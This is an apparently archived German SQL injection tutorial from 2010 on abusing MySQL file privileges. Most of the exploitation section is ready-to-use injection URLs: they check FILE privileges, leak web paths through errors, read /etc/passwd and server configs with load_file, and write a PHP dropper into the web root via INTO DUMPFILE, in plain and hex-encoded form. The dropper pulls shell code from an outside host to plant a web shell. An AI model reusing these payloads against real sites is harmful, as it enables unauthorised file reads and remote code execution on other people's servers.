[German] SQL Injection with File Privileges

EDB-ID:

14067

CVE:

N/A


Author:

fred777

Type:

papers


Platform:

Multiple

Date:

2010-06-26


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
#            WEBSECURITY DOCUMENTATION                #
#        --------------------------------------       #
#          SQL Injection with File Privileges         #
#        --------------------------------------       #
#                                                     #
#                                                     #
#  [+] written by fred777 [fred777.5x.to]             #
#                                                     #
******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro

--[0x01]-- Knowledge
   [1] Load_File
   [2] Dumpfile und Outfile

--[0x02]-- Exploiting
   [1] Privilegien mit mysql.user
   [2] Privilegien mit information_schema
   [3] Directories mittels Error
   [4] Directories mittels Configfiles
   [5] Schreiben mit DUMPFILE

--[0x03]-- Finito

********************************************************
##################################################

--[0x00]-- Intro

Willkommen zu meinem Tutorial über die File Privilegien bei SQL Injections.
Ich denke auch hier werden ich nicht jeden Befehl erklären, da er in anderen Tutorials bereits
erklärt wurde...
Neue Sachen werden selbstverständlich dokumentiert.

#############################################################

--[0x01]-- Knowledge

-------------------------------------------------------
 [1] LOAD_FILE
-------------------------------------------------------

Wir werden wie schon bekannt mit Selectqueries arbeiten, doch kommt noch etwas Neues hinzu, zum
ersten mal LOAD_FILE(). Sofern die Rechte stimmen, wird das angegebene File gelesen,
der Inhalt als String zurückgegeben und das Resultat ausgegeben.
Die Datei muss lesbar sein und kleiner sein als max_allowed_packet Bytes. Ansonsten wird NULL
zurückgegeben.
Der Syntax ist recht einfach: LOAD_FILE('<absoluter pfad>')

-------------------------------------------------------
 [2] Dumpfile und Outfile
-------------------------------------------------------

Kommen wir nun zu INTO OUTFILE und INTO DUMPFILE, hier werden die angegebenen Datensätze
in eine Datei (OUTFILE) geschrieben. Auch hier muss natürlich die Berechtigung stimmen.
Allerdings muss OUTFILE 'file' ein nicht vorhandenes File sein, sonst könnte man einfach die
etc/passwd überschreiben oder Sonstiges anrichten. 
Die Datei kann von allen Benutzern geschrieben werden, da MySQL Server selbst gar keine Datei erstellen kann, 
deren Besitzer jemand anders als der eigentliche Benutzer ist, insofern ist es schlecht, 
mysqld als root auszuführen. Doch was ist der Unterschied von INTO OUTFILE und INTO DUMPFILE?
Mit Dumpfile wird nur ein Datensatz verwendet ohne lästige Zeichen wie Trennunszeichen etc..
Deshalb verwenden wir hier ebenfalls DUMPFILE.

Syntax: SELECT * INTO DUMPFILE '<absoluter pfad>'

##############################################################

--[0x02]-- Exploiting

Wir haben also eine Lücke und eine Ausgabe:
www.seite.de/index.php?id=777+union+select+1,2,3,4-- f  => 3 wird ausgegeben

Schauen wir doch gleich mal, ob magic_quotes on oder off sind, d.h. ob bestimmte Zeichen
escaped werden..

www.seite.de/index.php?id=777+union+select+1,2,'test',4-- f  => test wird ausgegeben

-------------------------------------------------------
 [1] Privilegien mit mysql.user
-------------------------------------------------------

Umso besser, wir müssen nicht mit hex arbeiten. Unser Ziel ist es, am Schluss eine Shell auf den
Server zusetzen, bzw auszuführen. Zuerst schauen wir allerdings ob uns die File Privilegien gegeben sind.
Dafür gibt es mehrere Möglichkeiten dies herauszufinden. Erstens über die mysql.user Tabelle.
Wir benötigen natürlich die Rechte für aktuellen User, welchen wir mit user() auslesen können:

www.seite.de/index.php?id=777+union+select+1,2,user(),4-- f  => fred@localhost wird ausgegeben

Wie gesagt, die File Privilegien liegen als Column 'file_priv' in der mysql.user Table:

www.seite.de/index.php?id=777+union+select+1,2,concat(username,0x3a,file_priv),4+from+mysql.user+limit+0,1 -- f  => YES

Mit Limit gehen wir die User durch und schauen wie es mit unseren steht, es wird YES ausgegeben, d.h. die Rechte
sind gegeben.

-------------------------------------------------------
 [2] Privilegien mit information_schema
-------------------------------------------------------

Die zweite Möglichkeit funktioniert nur ab Version 5 mittels der INFORMATION_SCHEMA Datenbank, auch hier sind
die Rechte gespeichert, und zwar in der Table: user_privileges
Wir sagen, wir möchten den Usernamen (grantee) und die Option (is_grantable) haben mit dem Privilegientyp FILE:

www.seite.de/index.php?id=777+union+select+1,2,concat(grantee,0x3a,is_grantable),4+from+information_schema.user_privileges+where+privilege_type='file'+limit+0,1 -- f

Auch hier suchen wir mit Limit nach unserem user aus user() und schauen ob NO oder YES ausgegeben wird.
Natürlich könnten wir auch eine WHERE Bedingung starten, welche uns direkt den User ausgibt, doch damit steigt
auch die Fehlerquote, deshalb machen wir es einfach mit Limit. Man muss natürlich auf magic_quotes achten, falls
es auf ON steht, werden z.B. ' escaped, dann muss mit Hex gearbeitet werden.

-------------------------------------------------------
 [3] Directories mittels Error
-------------------------------------------------------

So, jetzt wissen wir, dass die nötigen Rechte gegeben sind. Da wir ja später in eine Datei schreiben möchten,
brauchen wir erstmal Informationen über das Betriebssystem, sowie den richtigen Pfad, dass unsere Datei
dann auch mittels dem Webserver freigegeben wird.
Um an den Pfad zu gelangen gibt es auch verschiedene Möglichkeiten, z.B. durch einen Error, welcher
automatisch den Pfad der Datei ausgeben kann, dies kann einfach dur einen invaliden Query passieren:

www.seite.de/index.php?id=777'''''-- f    =>

mysql_fetch_array() Error..... in /var/fred/www/mysql.php

Somit wissen wir, dass die Seite ziemlich sicher auf Linux läuft und wir können unser Load_file gleich mal testen. 
Eine Datei welche bei Linux immer vorhanden ist, ist etc/passwd.

www.seite.de/index.php?id=777+union+select+1,2,load_file('/etc/passwd'),4-- f
Tada, es erscheint der Inhalt wie erwünscht.

Usere Datei später können wir also einfach nach /var/fred/www/<unseredatei> schreiben lassen.

Bei Windows würde der Pfad etwa so aussehen:
mysql_fetch_array()..... in C:\xampp\htdocs\sql.php
Und die Datei welche bei Windows eigentlich immer besteht ist C:\boot.ini

www.seite.de/index.php?id=777+union+select+1,2,load_file('C:\boot.ini'),4-- f

-------------------------------------------------------
 [4] Directories mittels Configfiles
-------------------------------------------------------

Eine andere Methode ist die Configdatei des Webservers auszulesen, hilfreich dann z.B.
wenn kein Error erscheint. Wir nehmen mal an, es wird Apache benutzt. Häufig sitzt das
File so:

/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf

Sollte nicht Apache benutzt werden, kann man sich das Package immer noch laden und
manuell nach schauen. Um die Dateien auszulesen, benutzen wir wieder load_file()..

www.seite.de/index.php?id=777+union+select+1,2,load_file('/etc/apache/apache.conf'),4-- f

-------------------------------------------------------
 [5] Schreiben mit DUMPFILE
-------------------------------------------------------

So kommen wir nun zu INTO DUMPFILE, printipiell wird einfach das was selected wird in 
eine Datei geschrieben, einfach unter Linux im TMP Ordner zu zeigen:

www.seite.de/index.php?id=777+union+select+1,2,'test',4+INTO DUMPFILE+'/tmp/1.txt'-- f

Wir bekommen einen Error, das soll uns aber nicht aufhalten, wir benutzen load_file
um den Inhalt anzuzeigen:

www.seite.de/index.php?id=777+union+select+1,2,load_file('/tmp/1.txt'),4-- f => 12test4

Es funktioniert also wunderbar.
Jetzt können wir unsere eigenen Files erstellen, eine Shell z.B., da das aber eine Menge Text
ist, wäre ein Uploader sicher besser, außerdem soll unsere Datei ja im richtigen Verzeichnis laden.
PHP Files z.B. warten ja darauf ausgeführt zu werden. Ich nehme dazu einen relativ kleinen Code,
welcher, sobald ausgeführt, eine Shell erstellt.

<?$c=fopen("shell.php","a");fwrite($c,file_get_contents("http://seite.de/shell.txt"));?>

www.seite.de/index.php?id=777+union+select+1,2,'<?$c=fopen("shell.php","a");fwrite($c,file_get_contents("http://seite.de/shell.txt"));?>',4+into+DUMPFILE+'/var/fred/www/1.php'-- f

Sollte uns durch z.B. den mySQL Error nur ein Teil des Pfades gezeigt werden, 
können wir immer noch mit ../../../../../ weiter zurück springen.

www.seite.de/index.php?id=777+union+select+1,2,'<?$c=fopen("shell.php","a");fwrite($c,file_get_contents("http://seite.de/shell.txt"));?>',4+into+DUMPFILE+'../../www/1.php'-- f

Natürlich funktioniert das auch mit Hex, keine Angst vor der Länge des Strings:

www.seite.de/index.php?id=777+union+select+1,2,
0x3c3f24633d666f70656e28227368656c6c2e706870222c226122293b6677726974652824632c66696c655f6765745f636f6e74656e74732822687474703a2f2f73656974652e64652f7368656c6c2e7478742229293b3f3e
,4+into+dumpfile+'../../www/1.php'-- f

So, jetzt sollte in diesem Verzeichnis die 1.php erstell worden sein und bei Aufruf wird eine Shell erstellt, bzw. 
eine Datei mit dem Code, welcher in der TXT Datei steht. Haben wir das richtige Verzeichnis gewählt, ist die
1.php auf: www.seite.de/1.php verfügbar

Es hat also alles geklappt, unter Windows wäre das nicht viel anders abgelaufen:
Wir testen:
www.seite.de/index.php?id=777+union+select+1,2,'test',4+into+dumpfile+'C:\1.txt'-- f 
www.seite.de/index.php?id=777+union+select+1,2,load_file('C:\1.txt'),4-- f  => 12test4

Alles funktioniert, jetzt also den absoluten Pfad der Seite C:\xampp\htdocs\sql.php

und unsern lieben Text wieder:
www.seite.de/index.php?id=777+union+select+1,2,'<?$c=fopen("shell.php","a");fwrite($c,file_get_contents("http://seite.de/shell.txt"));?>',4+into+DUMPFILE+'C:\xampp\htdocs\test\1.php'-- f
Und das ganze aufrufen:
www.seite.de/test/1.php => Shell wird erstellt und ist unter
www.seite.de/test/shell.php verfügbar

#################################################################

--[0x03]-- Finito

So ich hoffe ihr habt alles so weit verstanden. Falls nicht, lieber noch meine anderen
Paper lesen auf fred777.5x.to